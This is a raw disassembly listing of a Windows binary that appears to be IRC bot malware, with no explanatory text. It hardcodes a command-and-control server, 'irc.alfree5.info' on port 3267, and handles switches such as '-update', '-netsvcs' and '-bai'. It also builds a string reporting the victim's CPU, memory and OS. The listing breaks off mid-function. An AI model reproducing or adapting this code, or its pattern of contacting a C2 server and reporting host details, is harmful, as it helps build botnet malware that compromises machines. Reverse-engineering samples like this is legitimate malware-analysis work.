lea eax, [esp+1A4h+var_164]
push edx
push eax
nop
call near ptr 2930D7Dh
mov eax, esi
mov ecx, 15180h
cdq
idiv ecx
lea eax, [esp+1A4h+var_174]
mov edi, 0E10h
mov ecx, edx
lea edx, [esp+1A4h+var_164]
push edx
push eax
mov eax, ecx
cdq
idiv edi
mov eax, 88888889h
mov edi, edx
imul edi
add edx, edi
sar edx, 5
mov eax, edx
shr eax, 1Fh
add edx, eax
mov eax, 91A2B3C5h
push edx
imul ecx
add edx, ecx
mov eax, 0C22E4507h
sar edx, 0Bh
mov ecx, edx
shr ecx, 1Fh
add edx, ecx
mov ecx, [esp+1B0h+var_120]
push edx
imul esi
add edx, esi
sar edx, 10h
mov eax, edx
shr eax, 1Fh
add edx, eax
mov eax, [esp+1B4h+var_128]
push edx
mov edx, [esp+1B8h+var_124]
push ecx
mov ecx, [esp+1BCh+var_144]
push edx
push eax
mov eax, 804021h
push ebp
mul ecx
sub ecx, edx
mov eax, 804021h
shr ecx, 1
add ecx, edx
shr ecx, 13h
push ecx
mov ecx, [esp+1CCh+var_140]
mul ecx
sub ecx, edx
shr ecx, 1
add ecx, edx
shr ecx, 13h
push ecx
call sub_4017FD
push eax
lea ecx, [esp+1D4h+var_18C]
push offset aCpuDmhz_Memory ; "CPU: %dMHz. Memory: %dMB/%dMB. OS: Win "...
push ecx
call sub_40102D
mov esi, [esp+1DCh+arg_0]
add esp, 38h
lea edx, [esp+1A4h+var_18C]
push edx
mov ecx, esi
call sub_4014D3
mov [esp+1A4h+var_198], 1
lea ecx, [esp+1A4h+var_18C]
mov byte ptr [esp+1A4h+var_4], 0
call sub_401226
mov ecx, [esp+1A4h+var_C]
mov eax, esi
pop edi
pop esi
pop ebp
mov large fs:0, ecx
add esp, 198h
retn 4
sub_4068E0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 0A0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_406BF0 proc near ; CODE XREF: sub_4015E6j
mov eax, ecx
mov dword ptr [eax], offset off_43F008
mov dword ptr [eax+110h], 0
retn
sub_406BF0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_406C20: ; CODE XREF: ___:00401FAAj
push esi
mov esi, ecx
call sub_401447
test byte ptr [esp+8], 1
jz short loc_406C38
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_406C38: ; CODE XREF: ___:00406C2Dj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_406C50 proc near ; CODE XREF: sub_401447j
mov dword ptr [ecx], offset off_43F008
mov ecx, [ecx+110h]
test ecx, ecx
jz short locret_406C67
push ecx
call sub_437AD2
; ---------------------------------------------------------------------------
pop ecx
locret_406C67: ; CODE XREF: sub_406C50+Ej
retn
sub_406C50 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_406C80 proc near ; CODE XREF: sub_401384j
arg_0 = dword ptr 4
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_406C80
push eax
mov large fs:0, esp
sub esp, 448h
push ebx
mov ebx, ecx
mov eax, [ebx+110h]
test eax, eax
jz short loc_406CB1
push eax
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_406CB1: ; CODE XREF: sub_406C80+26j
push ebp
push esi
mov esi, [esp+460h+arg_0]
push edi
mov edi, esi
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
push ecx
call sub_437AEA
sub_406C80 endp
; ---------------------------------------------------------------------------
mov edx, eax
mov edi, esi
or ecx, 0FFFFFFFFh
xor eax, eax
mov [ebx+110h], edx
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb
mov edi, [ebx+110h]
or ecx, 0FFFFFFFFh
mov byte ptr [ebx+4], 0
mov dword ptr [ebx+5], 0
mov byte ptr [ebx+9], 0
mov byte ptr [ebx+0Ah], 0
mov byte ptr [ebx+0Bh], 0
repne scasb
not ecx
push ecx
call sub_437AEA
; ---------------------------------------------------------------------------
mov edi, [ebx+110h]
mov edx, eax
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
sub edi, ecx
mov ebp, dword_511B00
mov eax, ecx
mov esi, edi
mov edi, edx
push offset asc_444600 ; " "
shr ecx, 2
rep movsd
mov ecx, eax
push edx
and ecx, 3
rep movsb
call ebp
add esp, 10h
mov [esp+58h], eax
lea esi, [esp+5Ch]
mov edi, 0FFh
loc_406D62: ; CODE XREF: ___:00406D74j
push offset asc_444600 ; " "
push 0
call ebp
mov [esi], eax
add esp, 8
add esi, 4
dec edi
jnz short loc_406D62
mov eax, [esp+58h]
xor ecx, ecx
cmp eax, ecx
jz loc_406F68
lea ebp, [esp+58h]
loc_406D88: ; CODE XREF: ___:00406F60j
mov edi, [ebp+0]
mov esi, offset dword_4447EC
mov eax, edi
loc_406D92: ; CODE XREF: ___:00406DB0j
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_406DB6
test cl, cl
jz short loc_406DB2
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_406DB6
add eax, 2
add esi, 2
test cl, cl
jnz short loc_406D92
loc_406DB2: ; CODE XREF: ___:00406D9Cj
xor eax, eax
jmp short loc_406DBB
; ---------------------------------------------------------------------------
loc_406DB6: ; CODE XREF: ___:00406D98j
; ___:00406DA6j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_406DBB: ; CODE XREF: ___:00406DB4j
test eax, eax
jz loc_406F58
mov esi, offset aUpdate ; "-update"
mov eax, edi
loc_406DCA: ; CODE XREF: ___:00406DE8j
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_406DEE
test cl, cl
jz short loc_406DEA
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_406DEE
add eax, 2
add esi, 2
test cl, cl
jnz short loc_406DCA
loc_406DEA: ; CODE XREF: ___:00406DD4j
xor eax, eax
jmp short loc_406DF3
; ---------------------------------------------------------------------------
loc_406DEE: ; CODE XREF: ___:00406DD0j
; ___:00406DDEj
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_406DF3: ; CODE XREF: ___:00406DECj
test eax, eax
jnz short loc_406E00
mov byte ptr [ebx+9], 1
jmp loc_406F58
; ---------------------------------------------------------------------------
loc_406E00: ; CODE XREF: ___:00406DF5j
mov esi, offset aNetsvcs ; "-netsvcs"
mov eax, edi
loc_406E07: ; CODE XREF: ___:00406E25j
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_406E2B
test cl, cl
jz short loc_406E27
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_406E2B
add eax, 2
add esi, 2
test cl, cl
jnz short loc_406E07
loc_406E27: ; CODE XREF: ___:00406E11j
xor eax, eax
jmp short loc_406E30
; ---------------------------------------------------------------------------
loc_406E2B: ; CODE XREF: ___:00406E0Dj
; ___:00406E1Bj
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_406E30: ; CODE XREF: ___:00406E29j
test eax, eax
jnz short loc_406E3D
mov byte ptr [ebx+0Ah], 1
jmp loc_406F58
; ---------------------------------------------------------------------------
loc_406E3D: ; CODE XREF: ___:00406E32j
mov esi, offset aBai ; "-bai"
mov eax, edi
loc_406E44: ; CODE XREF: ___:00406E62j
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_406E68
test cl, cl
jz short loc_406E64
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_406E68
add eax, 2
add esi, 2
test cl, cl
jnz short loc_406E44
loc_406E64: ; CODE XREF: ___:00406E4Ej
xor eax, eax
jmp short loc_406E6D
; ---------------------------------------------------------------------------
loc_406E68: ; CODE XREF: ___:00406E4Aj
; ___:00406E58j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_406E6D: ; CODE XREF: ___:00406E66j
test eax, eax
jnz loc_406F58
lea ecx, [esp+10h]
call sub_40142E
mov eax, [esp+468h]
push offset aBai ; "-bai"
push eax
mov dword ptr [esp+468h], 0
nop
call near ptr 77C47C60h
add esp, 8
test eax, eax
jz loc_406F44
push eax
lea ecx, [esp+14h]
call sub_4015E1
push 1
push offset asc_444600 ; " "
lea ecx, [esp+30h]
push 1
push ecx
lea ecx, [esp+20h]
call sub_4011EA
push offset byte_448F40
mov ecx, eax
mov byte ptr [esp+464h], 1
call sub_4012EE
lea ecx, [esp+28h]
mov esi, eax
mov byte ptr [esp+460h], 0
call sub_401226
test esi, esi
jz short loc_406F44
push 1
push offset asc_444600 ; " "
lea edx, [esp+48h]
push 1
push edx
lea ecx, [esp+20h]
mov byte ptr [ebx+0Bh], 1
call sub_4011EA
push 104h
mov ecx, eax
mov byte ptr [esp+464h], 2
call sub_40168B
push eax
lea eax, [ebx+0Ch]
push eax
call near ptr 77C47A90h
nop
add esp, 0Ch
lea ecx, [esp+40h]
mov byte ptr [esp+460h], 0
call sub_401226
add ebp, 4
loc_406F44: ; CODE XREF: ___:00406EA1j
; ___:00406EF1j
lea ecx, [esp+10h]
mov dword ptr [esp+460h], 0FFFFFFFFh
call sub_401226
loc_406F58: ; CODE XREF: ___:00406DBDj
; ___:00406DFBj ...
mov eax, [ebp+4]
add ebp, 4
test eax, eax
jnz loc_406D88
xor ecx, ecx
loc_406F68: ; CODE XREF: ___:00406D7Ej
mov al, [ebx+4]
pop edi
pop esi
pop ebp
test al, al
jnz short loc_406F75
mov [ebx+5], ecx
loc_406F75: ; CODE XREF: ___:00406F70j
cmp [ebx+5], ecx
jnz short loc_406F85
test al, al
jz short loc_406F85
mov dword ptr [ebx+5], 0Ah
loc_406F85: ; CODE XREF: ___:00406F78j
; ___:00406F7Cj
mov [ebx+5], ecx
mov ecx, [esp+44Ch]
mov byte ptr [ebx+4], 0
pop ebx
mov large fs:0, ecx
add esp, 454h
retn 4
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
byte_406FB0 db 0D0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_407080 proc near ; CODE XREF: sub_4020BDj
var_11 = byte ptr -11h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_407080
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push esi
mov esi, ecx
mov [esp+18h+var_10], esi
call sub_4011B3
lea ecx, [esi+4]
call sub_401753
lea eax, [esp+18h+var_11]
lea ecx, [esi+32h]
push eax
mov [esp+1Ch+var_4], 0
call sub_40156E
sub_407080 endp
; ---------------------------------------------------------------------------
mov ecx, [esp+0Ch]
mov dword ptr [esi], offset off_43F00C
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 14h
retn
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_407100 proc near ; CODE XREF: sub_40159Bj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_4]
push esi
mov esi, ecx
push eax
mov ecx, [esp+8+arg_0]
call sub_4015E1
mov edx, [esp+4+arg_0]
mov ecx, [esp+4+arg_8]
lea eax, [esp+4+arg_0]
mov [edx+2Ah], ecx
push eax
lea ecx, [esi+32h]
call sub_4014EC
sub_407100 endp
; ---------------------------------------------------------------------------
pop esi
retn 0Ch
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_407140 proc near ; CODE XREF: sub_401B04j
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
sub esp, 8
push esi
mov esi, ecx
push edi
lea ecx, [esp+10h+var_8]
call sub_401AD7
add esi, 32h
lea eax, [esp+10h+var_4]
push eax
mov ecx, esi
call sub_40162C
mov ecx, [eax]
lea edx, [esp+10h+var_4]
mov [esp+10h+var_8], ecx
push edx
mov ecx, esi
call sub_4021DF
push eax
lea ecx, [esp+14h+var_8]
call sub_40184D
test al, al
jz short loc_4071BB
mov edi, [esp+10h+arg_0]
loc_407183: ; CODE XREF: sub_407140+79j
push edi
lea ecx, [esp+14h+var_8]
call sub_401749
mov ecx, [eax]
call sub_4012EE
test eax, eax
lea ecx, [esp+10h+var_8]
jz short loc_4071C5
call sub_401F28
lea eax, [esp+10h+var_4]
mov ecx, esi
push eax
call sub_4021DF
push eax
lea ecx, [esp+14h+var_8]
call sub_40184D
test al, al
jnz short loc_407183
loc_4071BB: ; CODE XREF: sub_407140+3Dj
pop edi
xor eax, eax
pop esi
add esp, 8
retn 8
; ---------------------------------------------------------------------------
loc_4071C5: ; CODE XREF: sub_407140+5Aj
call sub_401749
mov eax, [eax]
pop edi
pop esi
add esp, 8
retn 8
sub_407140 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_407210 proc near ; CODE XREF: sub_40221Bj
xor al, al
retn 4
sub_407210 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_407230 proc near ; CODE XREF: sub_40156Ej
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push 0
mov cl, [eax]
push 0
mov [esi], cl
mov ecx, esi
call sub_40119F
sub_407230 endp
; ---------------------------------------------------------------------------
mov [esi+4], eax
mov dword ptr [esi+8], 0
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_407270 proc near ; CODE XREF: sub_40162Cj
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [ecx+4]
push eax
call sub_401A96
mov ecx, [eax]
add esp, 4
push ecx
lea ecx, [esp+8+var_4]
call sub_4021A8
mov edx, [eax]
mov eax, [esp+4+arg_0]
mov [eax], edx
pop ecx
retn 4
sub_407270 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4072B0 proc near ; CODE XREF: sub_4021DFj
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [ecx+4]
lea ecx, [esp+4+var_4]
push eax
call sub_4021A8
mov ecx, [eax]
mov eax, [esp+4+arg_0]
mov [eax], ecx
pop ecx
retn 4
sub_4072B0 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4072E0 proc near ; CODE XREF: sub_4014ECj
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [esp+4+arg_0]
push esi
mov esi, ecx
push eax
lea ecx, [esp+0Ch+arg_0]
push ecx
mov ecx, esi
call sub_4021DF
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_4013B6
sub_4072E0 endp
; ---------------------------------------------------------------------------
pop esi
pop ecx
retn 4
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_407320 proc near ; CODE XREF: sub_401AD7j
push esi
mov esi, ecx
call sub_401B77
mov eax, esi
pop esi
retn
sub_407320 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_407340 proc near ; CODE XREF: sub_401749j
mov eax, [ecx]
push eax
call sub_401208
add esp, 4
retn
sub_407340 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_407360 proc near ; CODE XREF: sub_401F28j
push esi
mov esi, ecx
mov eax, [esi]
push eax
call sub_401A96
mov ecx, [eax]
add esp, 4
mov [esi], ecx
mov eax, esi
pop esi
retn
sub_407360 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_407390 proc near ; CODE XREF: sub_40184Dj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_401FBE
neg al
sbb eax, eax
inc eax
retn 4
sub_407390 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4073C0 proc near ; CODE XREF: sub_4013B6j
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
mov esi, ecx
push edi
lea ecx, [esp+0Ch+arg_4]
call sub_401C9E
mov edi, eax
push edi
call sub_401C6C
mov eax, [eax]
add esp, 4
mov ecx, esi
push eax
push edi
call sub_40119F
sub_4073C0 endp
; ---------------------------------------------------------------------------
push edi
mov ebx, eax
call sub_401C6C
push edi
mov [eax], ebx
call sub_401C6C
mov edi, [eax]
push edi
call sub_401C6C
mov ecx, [eax]
push ecx
call sub_401A96
mov edx, [esp+28h]
add esp, 10h
mov [eax], edi
push edx
push edi
call sub_401208
add esp, 4
mov ecx, esi
push eax
call sub_40167C
mov ecx, [esi+8]
push edi
inc ecx
mov [esi+8], ecx
lea ecx, [esp+1Ch]
call sub_4021A8
mov ecx, [eax]
mov eax, [esp+10h]
pop edi
pop esi
mov [eax], ecx
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_407460 proc near ; CODE XREF: sub_40119Fj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
push 0Ch
call sub_4019D8
sub_407460 endp
; ---------------------------------------------------------------------------
mov edi, [esp+0Ch]
mov esi, eax
test edi, edi
jnz short loc_407475
mov edi, esi
loc_407475: ; CODE XREF: ___:00407471j
push esi
call sub_401A96
mov [eax], edi
mov edi, [esp+14h]
add esp, 4
test edi, edi
jnz short loc_40748A
mov edi, esi
loc_40748A: ; CODE XREF: ___:00407486j
push esi
call sub_401C6C
add esp, 4
mov [eax], edi
mov eax, esi
pop edi
pop esi
retn 8
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4074B0 proc near ; CODE XREF: sub_401A96j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
retn
sub_4074B0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4074D0 proc near ; CODE XREF: sub_401208j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 8
retn
sub_4074D0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4074F0 proc near ; CODE XREF: sub_401B77j
mov eax, ecx
retn
sub_4074F0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_407510 proc near ; CODE XREF: sub_4021A8j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push eax
call sub_4011E5
mov eax, esi
pop esi
retn 4
sub_407510 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_407540 proc near ; CODE XREF: sub_401FBEj
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov eax, [ecx]
push esi
xor ecx, ecx
mov esi, [edx]
cmp eax, esi
pop esi
setz cl
mov al, cl
retn 4
sub_407540 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_407570 proc near ; CODE XREF: sub_401C6Cj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 4
retn
sub_407570 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_407590 proc near ; CODE XREF: sub_4019D8j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_401D2A
sub_407590 endp
; ---------------------------------------------------------------------------
add esp, 8
retn 4
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4075C0 proc near ; CODE XREF: sub_40167Cj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push eax
push ecx
call sub_40109B
add esp, 8
retn 8
sub_4075C0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4075F0 proc near ; CODE XREF: sub_4011E5j
arg_0 = dword ptr 4
mov eax, ecx
mov ecx, [esp+arg_0]
mov [eax], ecx
retn 4
sub_4075F0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_407610 proc near ; CODE XREF: sub_401C9Ej
mov eax, [ecx]
retn
sub_407610 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_407630 proc near ; CODE XREF: sub_401D2Aj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
test eax, eax
jge short loc_40763A
xor eax, eax
loc_40763A: ; CODE XREF: sub_407630+6j
push eax
call sub_437AEA
sub_407630 endp
; ---------------------------------------------------------------------------
add esp, 4
retn
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_407660 proc near ; CODE XREF: sub_40109Bj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push eax
push 4
call sub_4011CC
add esp, 8
test eax, eax
jz short locret_40767B
mov ecx, [esp+arg_4]
mov edx, [ecx]
mov [eax], edx
locret_40767B: ; CODE XREF: sub_407660+11j
retn
sub_407660 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_407690 proc near ; CODE XREF: sub_4011CCj
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
retn
sub_407690 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4076B0 proc near ; CODE XREF: sub_401B40j
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = byte ptr 8
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_4076B0
push eax
mov large fs:0, esp
push 0
push 0
push 0
push 0
lea ecx, [esp+1Ch+arg_4]
mov [esp+1Ch+var_4], 0
call sub_4017EE
push eax
mov eax, [esp+20h+arg_0]
push 0
push eax
mov ecx, offset word_44ACE6
call sub_401B72
sub_4076B0 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov dword ptr [esp+8], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+0]
mov large fs:0, ecx
add esp, 0Ch
retn 1Ch
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_407740 proc near ; CODE XREF: sub_401CD5j
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_1C = byte ptr 20h
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_407740
push eax
mov large fs:0, esp
push 0
push 0
push 0
push 0
lea ecx, [esp+1Ch+arg_1C]
mov [esp+1Ch+var_4], 1
call sub_4017EE
push eax
lea ecx, [esp+20h+arg_4]
call sub_4017EE
push eax
mov eax, [esp+24h+arg_0]
push eax
mov ecx, offset word_44ACE6
call sub_401B72
sub_407740 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov byte ptr [esp+8], 0
call sub_401226
lea ecx, [esp+2Ch]
mov dword ptr [esp+8], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+0]
mov large fs:0, ecx
add esp, 0Ch
retn 34h
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4077E0 proc near ; CODE XREF: sub_40121Cj
var_350 = dword ptr -350h
var_34C = dword ptr -34Ch
var_348 = byte ptr -348h
var_330 = byte ptr -330h
var_318 = byte ptr -318h
var_2F4 = byte ptr -2F4h
var_2DC = byte ptr -2DCh
var_2C4 = byte ptr -2C4h
var_2AC = byte ptr -2ACh
var_294 = byte ptr -294h
var_27C = byte ptr -27Ch
var_264 = byte ptr -264h
var_24C = byte ptr -24Ch
var_234 = byte ptr -234h
var_21C = byte ptr -21Ch
var_204 = byte ptr -204h
var_1EC = byte ptr -1ECh
var_1D4 = byte ptr -1D4h
var_1BC = byte ptr -1BCh
var_1A4 = byte ptr -1A4h
var_18C = byte ptr -18Ch
var_174 = byte ptr -174h
var_15C = byte ptr -15Ch
var_144 = byte ptr -144h
var_114 = byte ptr -114h
var_E4 = byte ptr -0E4h
var_CC = byte ptr -0CCh
var_B4 = byte ptr -0B4h
var_9C = byte ptr -9Ch
var_84 = byte ptr -84h
var_6C = byte ptr -6Ch
var_54 = byte ptr -54h
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4077E0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 344h
push ebx
push esi
mov esi, ecx
push edi
lea ecx, [esp+35Ch+var_2C4]
call sub_40142E
lea ecx, [esp+35Ch+var_2DC]
mov [esp+35Ch+var_4], 0
call sub_40142E
lea ecx, [esp+35Ch+var_174]
mov byte ptr [esp+35Ch+var_4], 1
call sub_40142E
lea ecx, [esp+35Ch+var_1A4]
mov byte ptr [esp+35Ch+var_4], 2
call sub_40142E
lea ecx, [esp+35Ch+var_2AC]
mov byte ptr [esp+35Ch+var_4], 3
call sub_40142E
lea ecx, [esp+35Ch+var_2F4]
mov byte ptr [esp+35Ch+var_4], 4
call sub_40142E
lea ecx, [esp+35Ch+var_1D4]
mov byte ptr [esp+35Ch+var_4], 5
call sub_40142E
lea ecx, [esp+35Ch+var_204]
mov byte ptr [esp+35Ch+var_4], 6
call sub_40142E
lea ecx, [esp+35Ch+var_294]
mov byte ptr [esp+35Ch+var_4], 7
call sub_40142E
lea ecx, [esp+35Ch+var_24]
mov byte ptr [esp+35Ch+var_4], 8
call sub_40142E
lea ecx, [esp+35Ch+var_54]
mov byte ptr [esp+35Ch+var_4], 9
call sub_40142E
lea ecx, [esp+35Ch+var_84]
mov byte ptr [esp+35Ch+var_4], 0Ah
call sub_40142E
lea ecx, [esp+35Ch+var_3C]
mov byte ptr [esp+35Ch+var_4], 0Bh
call sub_40142E
lea ecx, [esp+35Ch+var_6C]
mov byte ptr [esp+35Ch+var_4], 0Ch
call sub_40142E
lea ecx, [esp+35Ch+var_234]
mov byte ptr [esp+35Ch+var_4], 0Dh
call sub_40142E
lea ecx, [esp+35Ch+var_264]
mov byte ptr [esp+35Ch+var_4], 0Eh
call sub_40142E
lea ecx, [esp+35Ch+var_E4]
mov byte ptr [esp+35Ch+var_4], 0Fh
call sub_40142E
lea ecx, [esp+35Ch+var_15C]
mov byte ptr [esp+35Ch+var_4], 10h
call sub_40142E
lea ecx, [esp+35Ch+var_114]
mov byte ptr [esp+35Ch+var_4], 11h
call sub_40142E
mov byte ptr [esp+35Ch+var_4], 12h
lea ecx, [esp+35Ch+var_18C]
call sub_40142E
lea ecx, [esp+35Ch+var_144]
mov byte ptr [esp+35Ch+var_4], 13h
call sub_40142E
lea ecx, [esp+35Ch+var_1BC]
mov byte ptr [esp+35Ch+var_4], 14h
call sub_40142E
lea ecx, [esp+35Ch+var_27C]
mov byte ptr [esp+35Ch+var_4], 15h
call sub_40142E
lea ecx, [esp+35Ch+var_1EC]
mov byte ptr [esp+35Ch+var_4], 16h
call sub_40142E
lea ecx, [esp+35Ch+var_CC]
mov byte ptr [esp+35Ch+var_4], 17h
call sub_40142E
lea ecx, [esp+35Ch+var_21C]
mov byte ptr [esp+35Ch+var_4], 18h
call sub_40142E
lea ecx, [esp+35Ch+var_B4]
mov byte ptr [esp+35Ch+var_4], 19h
call sub_40142E
lea ecx, [esp+35Ch+var_9C]
mov byte ptr [esp+35Ch+var_4], 1Ah
call sub_40142E
lea ecx, [esp+35Ch+var_24C]
mov byte ptr [esp+35Ch+var_4], 1Bh
call sub_40142E
lea ecx, [esp+35Ch+var_330]
mov byte ptr [esp+35Ch+var_4], 1Ch
call sub_40142E
lea ecx, [esp+35Ch+var_318]
mov byte ptr [esp+35Ch+var_4], 1Dh
call sub_40142E
mov ebx, 1Eh
push offset aIrc_alfree5_in ; "irc.alfree5.info"
lea ecx, [esp+360h+var_2C4]
mov byte ptr [esp+360h+var_4], bl
call sub_401A9B
push offset a3267 ; "3267"
lea ecx, [esp+360h+var_2DC]
call sub_401A9B
push offset byte_448F40
lea ecx, [esp+360h+var_144]
call sub_401A9B
lea eax, [esp+35Ch+var_2C4]
lea ecx, [esp+35Ch+var_174]
push eax
call sub_40202C
lea ecx, [esp+35Ch+var_2DC]
push ecx
lea ecx, [esp+360h+var_1A4]
